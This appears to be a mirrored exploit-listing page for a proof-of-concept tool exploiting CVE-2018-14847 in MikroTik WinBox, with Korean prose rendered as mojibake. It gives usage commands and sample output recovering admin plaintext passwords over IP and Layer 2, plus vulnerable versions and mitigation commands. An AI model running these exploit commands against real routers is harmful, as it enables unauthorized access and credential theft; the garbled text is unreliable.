## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JAS502N-CVE-2018-14847
# WinboxExploit
μ΄κ²μ μΌλ° ν
μ€νΈ λΉλ°λ²νΈλ₯Ό μμλ‘ μ½μ μ μλ μ€μν WinBox μ·¨μ½μ (CVE-2018-14847)μ κ°λ
μ¦λͺ
μ
λλ€.
## λΈλ‘κ·Έ κ²μλ¬Ό
https://n0p.me/winbox-bug-dissection/
## μꡬ μ¬ν
* Python 3+
μ΄ μ€ν¬λ¦½νΈλ Python 2.x μ΄νμμλ μ€νλμ§ μμ΅λλ€.
## μ¬μ© λ°©λ²
μ΄ μ€ν¬λ¦½νΈλ λͺ
λ Ήμ€μμ κ°λ¨ν μΈμλ‘ κ°λ¨νκ² μ¬μ©λ©λλ€.
#### WinBox (TCP/IP)
μ·¨μ½μ μ μ
μ©νμ¬ λΉλ°λ²νΈλ₯Ό μ½μ΅λλ€.
root@kitploit:~
python3 WinboxExploit.py <IP-ADDRESS> [PORT]
μμ:
root@kitploit:~
$ python3 WinboxExploit.py 172.17.17.17
Connected to 172.17.17.17:8291
Exploit successful
User: admin
Pass: Th3P4ssWord


#### MAC μλ² WinBox (Layer 2)
κΈ°κΈ°μ IP μ£Όμκ° μμ΄λ νμΌμ μΆμΆν μ μμ΅λλ€.
λ‘컬μ μ°κ²°λ Mikrotik μ₯μΉλ₯Ό μ°Ύλ κ°λ¨ν κ²μ νμΈμ
λλ€.
root@kitploit:~
python3 MACServerDiscover.py
μμ:
root@kitploit:~
$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)
aa:bb:cc:dd:ee:ff
aa:bb:cc:dd:ee:aa
μ·¨μ½μ μ μ
μ©νμ¬ λΉλ°λ²νΈλ₯Ό μ½μ΅λλ€.
root@kitploit:~
python3 MACServerExploit.py <MAC-ADDRESS>
μμ:
root@kitploit:~
$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff
User: admin
Pass: Th3P4ssWord
## μ·¨μ½ν λ²μ
2015-05-28λΆν° 2018-04-20κΉμ§μ λͺ¨λ RouterOS λ²μ μ μ΄ μ΅μ€νλ‘μμ μ·¨μ½ν©λλ€.
λ€μ RouterOS λ²μ μ μ€ννλ Mikrotik μ₯μΉ:
* Longterm: 6.30.1 - 6.40.7
* Stable: 6.29 - 6.42
* Beta: 6.29rc1 - 6.43rc3
μμΈν λ΄μ©μ λ€μμ μ°Έμ‘°νμμμ€: https://blog.mikrotik.com/security/winbox-vulnerability.html
## μν κΈ°λ²
* λΌμ°ν°λ₯Ό μμ μ¬νμ΄ ν¬ν¨λ RouterOS λ²μ μΌλ‘ μ
κ·Έλ μ΄λνμμμ€.
* λΌμ°ν°μμ WinBox μλΉμ€λ₯Ό λΉνμ±ννμμμ€.
* λ€μμ μ¬μ©νμ¬ WinBox μλΉμ€μ λν μ‘μΈμ€λ₯Ό νΉμ IP μ£Όμλ‘ μ νν μ μμ΅λλ€:
root@kitploit:~
/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16
* νν° κ·μΉ(ACL)μ μ¬μ©νμ¬ WinBox μλΉμ€μ λν μΈλΆ μ‘μΈμ€λ₯Ό κ±°λΆν μ μμ΅λλ€:
root@kitploit:~
/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop
* mac-winbox μλΉμ€μ λν μ‘μΈμ€ μ νμ νμ© μΈν°νμ΄μ€λ₯Ό μ§μ νμ¬ μνν μ μμ΅λλ€:
root@kitploit:~
/tool mac-server mac-winbox
## μ μκΆ
* μ΄λ CERTCC(https://certcc.ir)μ νμμ λ°μμ΅λλ€. λͺ¨λ κΆλ¦¬ 보μ .